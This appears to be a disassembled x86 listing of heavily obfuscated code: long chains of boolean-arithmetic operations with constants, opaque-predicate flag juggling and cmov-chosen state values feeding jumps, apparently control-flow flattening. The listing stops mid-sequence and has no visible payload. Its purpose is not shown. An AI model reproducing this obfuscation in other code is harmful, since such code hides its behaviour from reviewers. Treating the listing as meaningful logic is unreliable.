mov edx, ecx
xor edx, 0xe4c113e3
xor ecx, 0x1b3eec1c
mov esi, ecx
and esi, 0x1e7c9140
and ecx, edx
and edx, 0xe1836ebf
or edx, esi
xor edx, 0xe1836ebf
or edx, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, edx
mov edi, esi
not edi
mov ebx, edi
and ebx, 0x1cea8ecf
and esi, 0xe3157130
or esi, ebx
or edi, edx
and edx, 0x1cea8ecf
and ecx, 0xe3157130
or ecx, edx
xor ecx, esi
not edi
or edi, ecx
mov esi, edi
not esi
mov ecx, esi
and ecx, 0x5700d0ed
and edi, 0xa8ff2f12
or edi, ecx
xor edi, 0x5700d0ed
xor esi, edi
and esi, edi
mov ecx, eax
not ecx
mov edi, esi
mov edx, esi
xor edx, 0x15aaf2a2
and edx, esi
mov ebx, esi
not ebx
mov esi, ebx
and esi, 0x70f9ab4e
and edi, 0x8f0654b1
or edi, esi
mov esi, ecx
and esi, 0x70f9ab4e
mov ebp, eax
and ebp, 0x8f0654b1
or ebp, esi
xor ebp, edi
mov esi, ebp
xor esi, ebx
and esi, ebp
and ebx, 0x15aaf2a2
or edx, ebx
mov edi, eax
xor edi, 0xea550d5d
and edi, ecx
or ecx, 0xea550d5d
mov ebx, ecx
and ebx, 0x98101a8
and eax, 0x142af202
or eax, ebx
mov ebx, edi
not ebx
or ecx, ebx
and ebx, 0x98101a8
and edi, 0xf67efe57
or edi, ebx
xor edi, eax
not ecx
or ecx, edi
xor ecx, edx
mov edx, ecx
not edx
mov eax, esi
xor eax, edx
and eax, esi
and edx, 0xdda08f
and ecx, 0xff225f70
or ecx, edx
xor ecx, esi
mov esi, ecx
xor esi, 0xdda08f
mov edx, eax
not edx
xor ecx, 0xff225f70
mov edi, edx
and edi, 0x92559d25
and eax, 0x6daa62da
or eax, edi
or edx, ecx
and ecx, 0x92559d25
and esi, 0x6daa62da
or esi, ecx
xor esi, eax
not edx
or edx, esi
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x1920005a
mov esi, edx
and esi, 0x20009984
or esi, ecx
mov ecx, esi
xor ecx, 0x984
xor esi, 0xcb90442a
or eax, 0x2900900a
and esi, 0xeb90d42a
and ecx, 0x102009d4
or ecx, esi
and eax, 0xeb90d42a
and edx, 0x44f2201
or edx, eax
xor edx, ecx
mov eax, edx
xor eax, 0xc6df6621
xor edx, 0x392099de
mov ecx, edx
and ecx, eax
and edx, 0xf479782c
and eax, 0xb8687d3
or eax, edx
xor eax, 0xf479782c
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xa699a5a
mov edx, eax
and edx, 0xf59665a5
or edx, esi
mov esi, edx
xor esi, 0x8201210
or esi, 0x2400083
xor edx, 0xc5824404
or ecx, 0x38201230
and esi, 0x3a6012b3
and edx, 0xc58a4c04
or edx, esi
and ecx, 0x3a6012b3
and eax, 0x15a148
or eax, ecx
xor eax, edx
mov ecx, eax
xor ecx, 0xfdaa5e34
mov edx, eax
xor edx, 0x255a1cb
mov edi, edx
and edi, 0xb0604263
mov esi, ecx
and esi, 0x4f9fbd9c
or esi, edi
mov edi, esi
xor edi, 0x6a488
xor esi, 0x404001
xor eax, 0xfc6db2bd
and eax, ecx
or esi, 0xfe381376
mov ebx, esi
and ebx, 0xd3895b01
and edi, 0x46a488
or edi, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0xd3895b01
and eax, 0x2c76a4fe
or eax, ebx
xor eax, edi
not esi
or esi, eax
mov edi, esi
xor edi, 0xc6200060
xor esi, 0xc2ec89
and esi, 0x38daff9f
and edi, 0xc7250060
or edi, esi
mov eax, edi
xor eax, 0xc7250060
xor edi, 0x3058251a
and edi, 0x727d257a
mov esi, eax
and esi, 0x8d82da85
or esi, edi
xor esi, 0xc8608759
and eax, 0xba1da223
or eax, esi
mov esi, eax
not esi
and edx, 0xd74f0d6f
and ecx, 0x28b0f290
or ecx, edx
mov edx, ecx
xor edx, 0x28b0f290
xor ecx, 0x94000963
and ecx, 0xb4b09be3
mov edi, edx
and edi, 0x4b4f641c
or edi, ecx
xor edi, 0xf152c63f
and edx, 0x45e25ddc
or edx, edi
mov ecx, edx
not ecx
mov edi, eax
or edi, edx
and eax, 0x24e27be5
and esi, 0xdb1d841a
or esi, eax
and edx, 0x24e27be5
and ecx, 0xdb1d841a
or ecx, edx
xor ecx, esi
mov edx, ecx
not edx
mov eax, edx
and eax, 0xfbd00eef
and ecx, 0x42ff110
or ecx, eax
xor ecx, edi
xor ecx, 0x42ff110
or edx, edi
not edx
or edx, ecx
mov eax, edx
mov ecx, edx
xor ecx, 0xba1da223
and ecx, edx
not edx
or eax, 0x45e25ddc
mov esi, ecx
not esi
mov edi, eax
and edi, 0x868ee5da
and edx, 0x38110221
or edx, edi
or eax, esi
and esi, 0x868ee5da
and ecx, 0x79711a25
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x9fb89220
mov edx, eax
and edx, 0x60476ddf
or edx, esi
mov edi, edx
xor edi, 0x40402006
xor edx, 0x13981220
mov esi, eax
xor esi, 0x53da73e6
and esi, eax
or edx, 0xac258c19
mov ebx, edx
and ebx, 0x343345d9
and edi, 0x43c83226
or edi, ebx
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0x343345d9
and esi, 0xcbccba26
or esi, ebx
xor esi, edi
not edx
or edx, esi
mov esi, edx
xor esi, 0x53da73e6
xor edx, 0xc008010
mov edi, esi
and edi, 0xe2af0d29
and edx, 0x1d50f2d6
or edx, edi
or esi, eax
and eax, 0xe2af0d29
and ecx, 0x1d50f2d6
or ecx, eax
xor ecx, edx
not esi
or esi, ecx
xor esi, 0x2f7d9890
xor esi, 0xd082676f
setne ch
sete al
cmp dword [0x1004090c], 0xa
setl ah
setge cl
mov dh, al
xor dh, cl
mov bl, dh
xor bl, 1
mov dl, cl
and dl, ch
or dl, bl
mov bh, bl
and bh, al
mov bl, cl
or bl, al
xor bl, 1
or bl, bh
mov bh, dh
xor bh, dl
or dl, dh
xor dl, 1
or dl, bh
xor dl, 1
mov bh, bl
xor bh, dl
xor bh, 1
mov dh, bh
and dh, bl
xor dh, 1
or dl, bl
or dh, bh
xor dh, 1
or dh, dl
mov dl, dh
xor dl, 1
and dh, dl
xor dh, 1
mov bl, dh
or bl, dl
xor dh, dl
xor dh, 1
mov dl, dh
xor dl, bl
or dh, bl
xor dh, 1
or dh, dl
mov bl, dh
xor bl, 1
mov dl, bl
and dl, dh
xor bl, dl
xor dl, 1
or dl, dh
xor dl, 1
or dl, bl
mov dh, dl
xor dh, 1
and ah, ch
and cl, al
or cl, ah
and dl, dh
xor dl, 1
mov eax, edx
xor al, dh
or dl, dh
xor dl, 1
or dl, al
mov ch, dl
xor ch, 1
mov ah, cl
xor ah, 1
mov al, ah
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, ah
mov ebx, eax
xor bl, 1
mov dh, al
and dh, bl
xor dh, 1
or dh, bl
xor dh, 1
or dh, al
mov byte [esp + 0x14], bl
mov bh, ch
and bh, al
or bl, ch
xor al, ch
and al, ch
and ch, dl
xor ch, 1
mov cl, dl
xor cl, ch
or ch, dl
xor ch, 1
or ch, cl
mov ah, ch
xor ah, 1
mov cl, ah
and cl, ch
xor cl, 1
or cl, ch
xor cl, 1
or cl, ah
mov ah, dh
or dh, cl
xor cl, 1
xor ah, 1
or ah, cl
xor dh, 1
xor ah, 1
or ah, dh
movzx ecx, byte [esp + 0x14]
and cl, dl
or bh, cl
xor dl, bh
and dl, bh
xor bl, 1
or al, bl
mov ecx, edx
xor cl, 1
mov ch, al
xor ch, 1
mov dh, ch
and dh, dl
xor ch, cl
and cl, al
or cl, dh
or al, dl
xor al, 1
or al, ch
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ch, cl
and ch, al
mov edx, ecx
xor dl, ch
xor ch, 1
or ch, al
xor ch, 1
or ch, dl
mov dl, ch
xor dl, 1
and dl, ch
mov dh, dl
xor dh, 1
mov ch, dh
and ch, dl
xor ch, 1
mov ebx, edx
xor bl, ch
or ch, dl
xor ch, 1
or ch, bl
mov bl, ch
xor bl, 1
and bl, cl
xor dh, cl
and ch, al
or dl, al
xor dl, 1
or dl, dh
xor dl, 1
or dl, ch
or dl, bl
mov ecx, edx
xor cl, 1
mov al, ah
xor al, 1
mov ch, cl
and ch, al
and al, ah
xor al, 1
mov dh, ah
xor dh, al
or al, ah
xor al, 1
or al, dh
and ah, dl
or ah, ch
mov ch, al
xor ch, 1
and dl, ch
or ch, cl
and al, cl
or al, dl
xor al, 1
mov cl, al
xor cl, ch
or al, ch
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov al, ah
xor al, 1
and al, dl
xor dl, 1
mov cl, ah
xor cl, dl
and cl, ah
and dl, ah
or dl, al
mov eax, ecx
xor al, dl
test dl, 1
mov ebx, 0xa7624359
mov edx, 0x45f145b0
cmovne ebx, edx
test cl, 1
mov ecx, 0xa7624359
cmove ebx, ecx
test al, 1
cmovne ebx, edx
mov dword [esp + 0x14], 1
jmp 0x1000b8a0
mov ebx, 0xe3629d0f
jmp 0x1000b8a0
mov ebx, 0xe9db2e5
mov dword [esp + 0x14], 0
jmp 0x1000b8a0
mov eax, dword [0x10040908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, ecx
mov edi, eax
not edi
mov esi, ecx
and esi, 0xa8b375ea
mov ebx, edx
and ebx, 0x574c8a15
or ebx, esi
mov esi, ecx
or esi, edi
and edi, 0xa8b375ea
and eax, 0x574c8a15
or eax, edi
xor eax, ebx
not esi
or esi, eax
mov eax, esi
xor eax, 0x7eefe4c1
and eax, esi
mov esi, edx
and esi, 0xa2b44113
mov edi, ecx
and edi, 0x5d4bbeec
or edi, esi
xor edi, 0xdc5ba5d2
or edi, edx
mov ebx, eax
not ebx
mov esi, ebx
or esi, edi
and ebx, 0xb206b565
and eax, 0x4df94a9a
or eax, ebx
xor eax, edi
mov edi, eax
xor edi, 0x4df94a9a
xor eax, 0xb206b565
mov ebx, eax
and ebx, 0x41c1738b
and edi, 0xbe3e8c74
or edi, ebx
xor edi, esi
xor edi, 0xbe3e8c74
or eax, esi
not eax
or eax, edi
mov esi, eax
not esi
mov edi, eax
or edi, 0x254404
mov ebx, esi
or ebx, 0x81888803
and edi, 0x81adcc07
and esi, 0x241213f0
or esi, edi
and ebx, 0x81adcc07
and eax, 0x5a402008
or eax, ebx
xor eax, esi
mov edi, eax
xor edi, 0xdb757f32
mov esi, eax
xor esi, 0x208a00c4
xor eax, 0x30df29d4
and eax, edi
and esi, 0xebaa56e6
or esi, eax
mov eax, esi
xor eax, 0x43881871
xor esi, 0x422186
and esi, 0x3042e18e
and eax, 0xcfbd1e71
or eax, esi
mov edi, eax
xor edi, 0xcfbd1e71
xor eax, 0x10026084
and eax, 0x9fa274f4
mov esi, edi
and esi, 0x605d8b0b
or esi, eax
xor esi, 0x780fa6b
and edi, 0x98228e9f
or edi, esi
mov dword [esp], edi
mov eax, edi
not eax
and edx, 0x71ba7364
and ecx, 0x8e458c9b
or ecx, edx
mov esi, ecx
xor esi, 0x50492
mov edi, ecx
xor edi, 0x71ba7364
mov edx, edi
or edx, 0x98228e9f
xor ecx, 0x6440000
and edi, 0xdf42e86d
and esi, 0x20bd1792
or esi, edi
mov edi, esi
xor edi, 0x808e0809
xor esi, 0x476066f2
mov ebx, edx
and ebx, 0x7911f146
and ecx, 0x6cc0020
or ecx, ebx
or edx, esi
and esi, 0x7911f146
and edi, 0x86ee0eb9
or edi, esi
xor edi, ecx
not edx
or edx, edi
mov ebx, edx
not ebx
mov ecx, edx
and ecx, 0xe17b5d09
and ebx, 0x1e84a2f6
or ebx, ecx
xor ebx, 0x1e84a2f6
or ebx, edx
mov ebp, ebx
not ebp
mov esi, dword [esp]
mov ecx, esi
and ecx, 0x2311a240
mov dword [esp + 0xc], eax
mov edx, eax
and edx, 0x8800092c
or edx, ecx
mov ecx, edx
xor ecx, 0x80000020
xor edx, 0x74660481
or esi, 0x2800090c
and edx, 0x7c660d8d
and ecx, 0x8311a260
or ecx, edx
and esi, 0x7c660d8d
mov edx, eax
and edx, 0x885012
or edx, esi
xor edx, ecx
mov edi, edx
mov ecx, ebx
and ecx, 0x288b0da0
mov eax, ebp
and eax, 0x4344201a
or eax, ecx
mov ecx, eax
xor ecx, 0x40002010
xor eax, 0xbcbbdfe5
mov edx, eax
and edx, 0x3ff5d98e
and ecx, 0x400a2430
or ecx, edx
mov edx, ebx
xor edx, 0x9430d245
and edx, ebp
mov esi, edx
not esi
or eax, esi
and esi, 0x3ff5d98e
and edx, 0xc00a2671
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, edi
xor ecx, 0x54ee5493
mov dword [esp + 4], ecx
xor edi, 0xab11ab6c
mov dword [esp + 8], edi
and ecx, 0xd85c8828
mov edx, edi
and edx, 0x27a377d7
or edx, ecx
xor edx, 0x98cce01a
mov ecx, edi
and ecx, 0x40906832
or ecx, edx
mov esi, dword [esp]
mov edx, esi
and edx, 0xbf6f97cd
mov edi, dword [esp + 0xc]
and edi, 0x40906832
or edi, edx
xor esi, edi
and esi, edi
mov dword [esp], esi
mov edx, eax
xor eax, 0x9430d245
mov dword [esp + 0xc], eax
xor edx, 0x6bcf2dba
mov dword [esp + 0x10], edx
and eax, 0xaa8e4cd3
mov esi, edx
and esi, 0x5571b32c
or esi, eax
xor esi, 0xea1e24e1
and edx, 0x40906832
or edx, esi
and ebx, 0x40004010
and ebp, 0x902822
or ebp, ebx
mov edi, ebp
xor edi, 0x100820
or edi, 0xa4658249
xor ebp, 0x40004000
and ebp, 0x40806002
and edi, 0xa4758a79
or edi, ebp
mov eax, ecx
not eax
mov ebx, dword [esp]
mov ebp, ebx
not ebp
mov esi, eax
xor esi, ebp
and esi, eax
and ecx, 0x61ba5228
and eax, 0x9e45add7
or eax, ecx
and ebp, 0x61ba5228
mov ecx, ebx
and ecx, 0x9e45add7
or ecx, ebp
xor ecx, eax
or ecx, esi
mov dword [esp], ecx
mov ebp, edx
not ebp
mov eax, edx
and eax, 0x2192afa3
xor edx, 0x836e735b
and edx, ebp
and ebp, 0xde6d505c
or ebp, eax
mov eax, ebp
xor eax, 0xde6d505c
mov dword [esp + 0x18], eax
mov ecx, ebp
xor ecx, 0x5d032307
and ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0x3e65e6a4
and ecx, 0xc19a195b
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x3e65e6a4
and edx, 0xc19a195b
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov edx, edi
xor edx, 0xa4758a79
xor edi, 0x5b8a7586
mov ecx, edx
or ecx, 0x832c635b
and ecx, 0xc3bc635b
mov esi, edi
and esi, 0x10008ca4
or esi, ecx
mov ebx, edi
or ebx, 0x6c910000
and ebx, 0xefbd635b
xor ebx, esi
mov ecx, ebx
xor ecx, ebx
not ecx
and ecx, eax
xor ecx, ebx
xor ebp, 0x2192afa3
mov eax, ebp
and eax, 0x12c91328
mov esi, dword [esp + 0x18]
and esi, 0xed36ecd7
or esi, eax
or ebp, edx
and edx, 0x800020
and edi, 0xed36ecd7
or edi, edx
xor edi, esi
not ebp
or ebp, edi
not ebp
or ebp, ecx
mov edx, ebp
xor edx, 0x881de00
xor ebp, 0xb0100062
and ebp, 0xb07a206e
and edx, 0x4f85df91
or edx, ebp
xor edx, dword [esp]
mov ecx, edx
xor ecx, 0x30901e00
mov esi, dword [esp + 8]
mov eax, esi
mov ebx, dword [esp + 0x10]
or eax, ebx
and esi, 0x95d81eab
mov edi, esi
mov esi, dword [esp + 4]
and esi, 0x6a27e154
or esi, edi
and ebx, 0x95d81eab
mov edi, ebx
mov ebx, dword [esp + 0xc]
and ebx, 0x6a27e154
or ebx, edi
xor ebx, esi
mov esi, ebx
not esi
mov edi, esi
and edi, 0xc22e637c
and ebx, 0x3dd19c83
or ebx, edi
xor ebx, eax
xor ebx, 0x3dd19c83
or esi, eax
not esi
or esi, ebx
mov eax, esi
not eax
and esi, 0x6febb99b
and eax, 0x90144664
or eax, esi
mov esi, eax
xor esi, 0x4381a818
xor eax, 0x90144664
mov edi, eax
and edi, 0xac7e1187
and esi, 0x5381ee78
or esi, edi
xor esi, 0xac7e1187
xor eax, esi
and eax, esi
xor edx, 0x476e219d
mov edi, eax
not edi
mov esi, edx
or esi, edi
and edx, 0x8d0be162
and ecx, 0x72f41e9d
or ecx, edx
and edi, 0x8d0be162
and eax, 0x72f41e9d
or eax, edi
xor eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xa9b1405c
and eax, 0x564ebfa3
or eax, edx
xor eax, esi
xor eax, 0x564ebfa3
or ecx, esi
not ecx
or ecx, eax
mov esi, ecx
not esi
mov eax, ecx
xor eax, 0xe3fbeb03
and eax, ecx
mov edx, esi
or edx, eax
not eax
and eax, 0x1c0414fc
and edx, 0xe3fbeb03
or edx, eax
mov eax, edx
xor eax, 0xad10a438
and eax, edx
mov edx, esi
and edx, 0x5811b834
and ecx, 0xa7ee47cb
or ecx, edx
xor ecx, 0xafee3f3
xor esi, ecx
and esi, ecx
mov ecx, eax
not ecx
mov edx, esi
mov edi, esi
xor edi, 0xb47776da
and edi, esi
or esi, 0x4b888925
not edx
mov ebx, esi
and ebx, 0x4851a902
mov ebp, edx
and ebp, 0xb42656d8
or ebp, ebx
mov ebx, edi
not ebx
or esi, ebx
and ebx, 0x4851a902
and edi, 0xb7ae56fd
or edi, ebx
mov ebx, eax
xor ebx, 0x451469a
xor edi, ebp
not esi
or esi, edi
xor eax, 0x1800004
and eax, 0xb1a63044
and ebx, 0x4e59cfbb
or ebx, eax
xor ebx, esi
xor ebx, 0xb1a63044
or edx, ecx
not edx
or edx, ebx
mov esi, edx
xor esi, 0xcacdd558
mov edi, edx
xor edi, 0x35322aa7
mov eax, edi
and eax, 0x3cbcf9e4
mov ecx, esi
and ecx, 0xc343061b
or ecx, eax
xor ecx, 0x1430400
mov eax, edi
and eax, esi
mov ebx, esi
mov dword [esp + 8], esi
or eax, ecx
mov ebp, eax
not ebp
or ebp, 0xf218fb7b
mov ecx, edi
and ecx, 0xde70484
and ebx, 0xf218fb7b
or ebx, ecx
mov ecx, ebx
xor ecx, edi
and ecx, ebx
mov ebx, ebp
and ebp, 0xe7db71e4
and eax, 0x8240400
or eax, ebp
mov ebp, ecx
not ebp
or ebx, ebp
and ebp, 0xe7db71e4
and ecx, 0x18248e1b
or ecx, ebp
xor ecx, eax
mov esi, ecx
not esi
mov ebp, esi
and ebp, 0x41baf87c
and ecx, 0xbe450783
or ecx, ebp
or esi, ebx
and ebx, 0x4dfffcfc
xor ebx, ecx
xor ebx, 0xc450480
not esi
or esi, ebx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0xb0bccdfe
mov ebp, esi
and ebp, 0x4f433201
or ebp, ebx
mov ebx, ebp
xor ebx, 0x40002000
xor ebp, 0x90000802
or ecx, 0x92001a03
or ebp, 0x9a10080
and ebp, 0x9ba11a83
and ebx, 0x6018e178
or ebx, ebp
and ecx, 0x9ba11a83
and esi, 0x4460404
or esi, ecx
xor esi, ebx
mov ebx, esi
mov ebp, esi
mov dword [esp], esi
not ebp
mov dword [esp + 4], ebp
and ebx, 0x46baed8c
mov ecx, ebp
and ecx, 0xb9451273
or ecx, ebx
mov ebx, ebp
and ebx, 0x60a8cf87
mov eax, esi
and eax, 0x9f573078
or eax, ebx
xor eax, 0x31d7ff5
and esi, 0x63b5b072
or esi, eax
mov ebx, ecx
xor ebx, 0x50d0a201
xor ecx, 0x250f5dfe
mov eax, ecx
and eax, 0xae2948bc
and ebx, 0x51d6b743
or ebx, eax
mov eax, esi
not eax
or ecx, esi
and esi, 0xae2948bc
and eax, 0x51d6b743
or eax, esi
xor eax, ebx
not ecx
or ecx, eax
mov esi, dword [esp + 8]
mov ebp, esi
or ebp, 0x9c4a4f8d
mov eax, ebp
and eax, 0x3a17ce78
mov ebx, edi
and ebx, 0x41a03002
or ebx, eax
xor edx, 0xa978652a
and edx, esi
mov eax, edx
not eax
or ebp, eax
and eax, 0x3a17ce78
and edx, 0xc5e83187
or edx, eax
xor edx, ebx
not ebp
or ebp, edx
mov edx, ebp
not edx
mov eax, edx
and eax, 0x2ad17d63
and ebp, 0xd52e829c
or ebp, eax
and esi, 0x2ad17d63
and edi, 0xd52e829c
or edi, esi
mov ebx, ecx
not ebx
xor edi, ebp
xor edx, edi
and edx, edi
mov esi, edx
not esi
mov eax, esi
and eax, ecx
or esi, ebx
and ebx, edx
or ebx, eax
mov edi, ebx
xor edi, ecx
and edi, ebx
not esi
or edx, ecx
not edx
or edx, esi
mov ebx, edx
xor ebx, 0x7c74be6a
mov eax, ebx
and ebx, edx
mov esi, edx
not esi
mov ebp, edi
xor ebp, 0x7c74be6a
and eax, esi
or ebx, eax
mov ecx, ebp
and ebp, edi
mov edx, edi
not edx
and ecx, edx
mov edi, ecx
not edi
mov eax, edi
and eax, 0x4a63c42e
and ecx, 0xb59c3bd1
or ecx, eax
mov eax, ebp
not eax
or edi, eax
and eax, 0x4a63c42e
and ebp, 0xb59c3bd1
or ebp, eax
xor ebp, ecx
not edi
or edi, ebp
xor edi, ebx
or esi, edx
mov edx, edi
not edx
mov eax, edx
and eax, 0xeacd6875
and edi, 0x1532978a
or edi, eax
xor edi, esi
xor edi, 0x1532978a
or edx, esi
not edx
or edx, edi
mov esi, edx
not esi
mov eax, esi
and eax, 0x24b76a27
mov ecx, edx
and ecx, 0xdb4895d8
or ecx, eax
mov edi, ecx
xor edi, 0x88000140
xor ecx, 0x164200
mov ebp, esi
or ebp, 0x1316c200
or ecx, 0x20482439
and ecx, 0x335ee639
and edi, 0x8c810142
or edi, ecx
and ebp, 0x335ee639
mov ebx, edx
mov ecx, edx
and ebx, 0x40201884
or ebx, ebp
mov ebp, dword [esp]
mov edx, ebp
xor ebx, edi
mov eax, ebx
xor eax, 0x488
xor ebx, 0x90024100
and ebx, 0x904a4904
and eax, 0xc000688
or eax, ebx
xor eax, 0xc000688
or eax, 0x63b5b073
mov edi, ecx
and edi, 0x41c405f4
mov ecx, esi
and ecx, 0xbe3bfa0b
or ecx, edi
mov edi, eax
not edi
xor ecx, 0xdd8e4a78
and esi, 0x9c4a4f8c
or esi, ecx
mov ecx, edi
xor ecx, esi
and ecx, edi
and eax, 0x89ae3cdf
and edi, 0x14404300
or edi, eax
xor edi, esi
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0xaf76931c
and ecx, 0x10084c80
or ecx, eax
mov eax, edi
xor eax, 0x7651c320
xor edi, 0x89ae3cdf
or ebx, edi
and edi, 0xaf76931c
and eax, 0x50896ce3
or eax, edi
mov edi, ebp
mov esi, ebp
xor esi, 0x25d664ea
and esi, ebp
xor eax, ecx
not ebx
or ebx, eax
mov dword [esp], ebx
mov ebx, dword [esp + 4]
mov eax, ebx
and eax, 0xa8bc500b
and edx, 0x5743aff4
or edx, eax
xor edx, 0xa8bc500a
or edx, ebx
mov eax, edx
not eax
or edi, 0xda299b15
mov ecx, edi
and ecx, 0x289b14f9
and ebx, 0x5446002
or ebx, ecx
mov ecx, esi
not ecx
or edi, ecx
and ecx, 0x289b14f9
and esi, 0xd764eb06
or esi, ecx
xor esi, ebx
not edi
or edi, esi
mov ecx, edi
xor ecx, 0x25d664eb
mov esi, edx
and esi, 0xb78c506b
mov ebp, edx
xor ebp, 0x4873af94
and ebp, eax
or ebp, esi
mov ebx, edi
xor ebx, 0xda299b14
xor edi, 0x925a3480
and edi, ebx
mov esi, ecx
and esi, 0x4873af94
or esi, edi
xor esi, ebp
mov edi, eax
and edi, 0x7df439e1
and edx, 0x820bc61e
or edx, edi
or eax, ecx
and ecx, 0x7df439e1
and ebx, 0x820bc61e
or ebx, ecx
xor ebx, edx
not eax
or eax, ebx
mov edi, eax
not edi
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xc3177227
and esi, 0x3ce88dd8
or esi, edx
or ecx, eax
and eax, 0xc3177227
and edi, 0x3ce88dd8
or edi, eax
xor edi, esi
not ecx
or ecx, edi
mov eax, ecx
not eax
mov edi, eax
and edi, ecx
mov ebx, edi
not ebx
mov edx, ecx
and edx, 0x82f625da
mov ebp, eax
and ebp, 0x7d09da25
or ebp, edx
mov esi, ecx
or esi, ebx
and ebx, 0x82f625da
and edi, 0x7d09da25
or edi, ebx
xor edi, ebp
not esi
or esi, edi
mov edx, eax
and edx, 0xae7ffe8d
and ecx, 0x51800172
or ecx, edx
xor ecx, 0x51800172
xor eax, ecx
and eax, ecx
mov edi, esi
not edi
mov ecx, eax
not ecx
and eax, edi
or edi, ecx
and ecx, esi
or ecx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0x686dded2
and ecx, 0x9792212d
or ecx, eax
xor ecx, edi
xor ecx, 0x9792212d
or esi, edi
not esi
or esi, ecx
mov eax, esi
not eax
and esi, 0xd9f9bdeb
and eax, 0x26064214
or eax, esi
mov esi, eax
xor esi, 0xd9f9bdeb
mov ecx, eax
xor ecx, 0x4020010
and ecx, 0x840b0190
xor eax, 0x5cb22a38
and eax, esi
and esi, 0x1409643
or esi, ecx
xor esi, 0x1409643
or esi, eax
not eax
and eax, 0x7ab4682c
and esi, 0x854b97d3
or esi, eax
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x9f38fad7
and esi, 0x60c70528
or esi, eax
xor esi, 0x9f38fad7
xor ecx, esi
and ecx, esi
mov edx, dword [esp]
mov eax, edx
and eax, ecx
mov esi, ecx
not esi
mov ebx, edx
mov ebp, edx
not ebx
mov edx, esi
and edx, ebx
or eax, edx
not eax
or eax, ebx
mov edi, ebx
mov edx, ebp
or edx, 0x98232009
and edx, 0x99efa689
and ebx, 0x2104942
or ebx, edx
mov ebp, ecx
xor ebp, 0x3dccfc2
and ebp, ecx
or edi, 0x1cc8680
and edi, 0x99efa689
mov edx, dword [esp]
and edx, 0x64001034
or edx, edi
mov edi, eax
not edi
or ecx, 0xfc23303d
xor edx, ebx
mov ebx, edx
mov edx, ecx
and edx, 0xf3ceffd
and esi, 0xc00002
or esi, edx
mov edx, ebp
not edx
or ecx, edx
and edx, 0xf3ceffd
and ebp, 0xf0c31002
or ebp, edx
xor ebp, esi
not ecx
or ecx, ebp
xor ecx, ebx
mov esi, ecx
not esi
mov edx, edi
xor edx, esi
and edx, edi
and eax, 0xafb6769e
and edi, 0x50498961
or edi, eax
and esi, 0xafb6769e
and ecx, 0x50498961
or ecx, esi
xor ecx, edi
mov eax, edx
not eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0x6791d775
and edx, 0x986e288a
or edx, edi
or eax, esi
and esi, 0x6791d775
and ecx, 0x986e288a
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x4f439d90
and ecx, eax
mov esi, edx
and esi, 0x34dd6833
and eax, 0xcb2297cc
or eax, esi
xor eax, 0x15a0430e
or eax, edx
or edx, ecx
not ecx
and ecx, 0xb0bc626f
and edx, 0x4f439d90
or edx, ecx
mov esi, edx
xor esi, 0x217d2b3d
and esi, edx
xor eax, esi
and esi, eax
mov edx, eax
not edx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xf875c4c5
and esi, 0x78a3b3a
or esi, edi
or ecx, eax
and eax, 0xf875c4c5
and edx, 0x78a3b3a
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0x217d2b3d
mov edx, ecx
xor edx, 0x8c801080
xor ecx, 0xcddc56d4
and ecx, eax
mov edi, eax
or edi, 0x125e8000
mov esi, ecx
not esi
and edi, 0x727ee569
and edx, 0x8c811880
or edx, edi
or eax, esi
and esi, 0x727ee569
and ecx, 0x8d811a96
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
not ecx
and ecx, 0x135e8216
and eax, 0xeca17de9
or eax, ecx
mov edx, eax
not edx
mov esi, edx
and esi, eax
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0x2461bfdf
and esi, 0xdb9e4020
or esi, edi
or ecx, eax
and eax, 0x2461bfdf
and edx, 0xdb9e4020
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x4e8a4bef
mov esi, ecx
and esi, 0xb175b410
or esi, eax
xor esi, 0xb175b410
mov eax, esi
xor eax, edx
and eax, esi
and edx, 0xda193fda
and ecx, 0x25e6c025
or ecx, edx
mov esi, ecx
xor esi, 0xda193fda
mov edx, eax
not edx
xor ecx, 0x25e6c025
and esi, edx
or edx, ecx
and ecx, eax
or ecx, esi
mov eax, ecx
not eax
mov esi, eax
and esi, 0xf1f41e4
and ecx, 0xf0e0be1b
or ecx, esi
xor ecx, edx
xor ecx, 0xf0e0be1b
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x24baaa43
mov esi, eax
and esi, 0xdb4555bc
or esi, edx
xor esi, 0xdb4555bc
mov edx, ecx
and edx, eax
mov dword [esp], eax
or edx, esi
mov esi, edx
not esi
and esi, 0xbae7a5bd
and edx, 0x45185a42
or edx, esi
mov edi, edx
xor edi, 0xbae7a5bd
and edi, edx
mov edx, ecx
and edx, 0x45185a42
mov esi, eax
and esi, 0xbae7a5bd
or esi, edx
mov edx, edi
not edx
mov ebp, edi
xor ebp, 0x8492e748
and ebp, edx
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0x65fc9117
and ebp, 0x9a036ee8
or ebp, eax
mov eax, edx
or eax, 0x8492e748
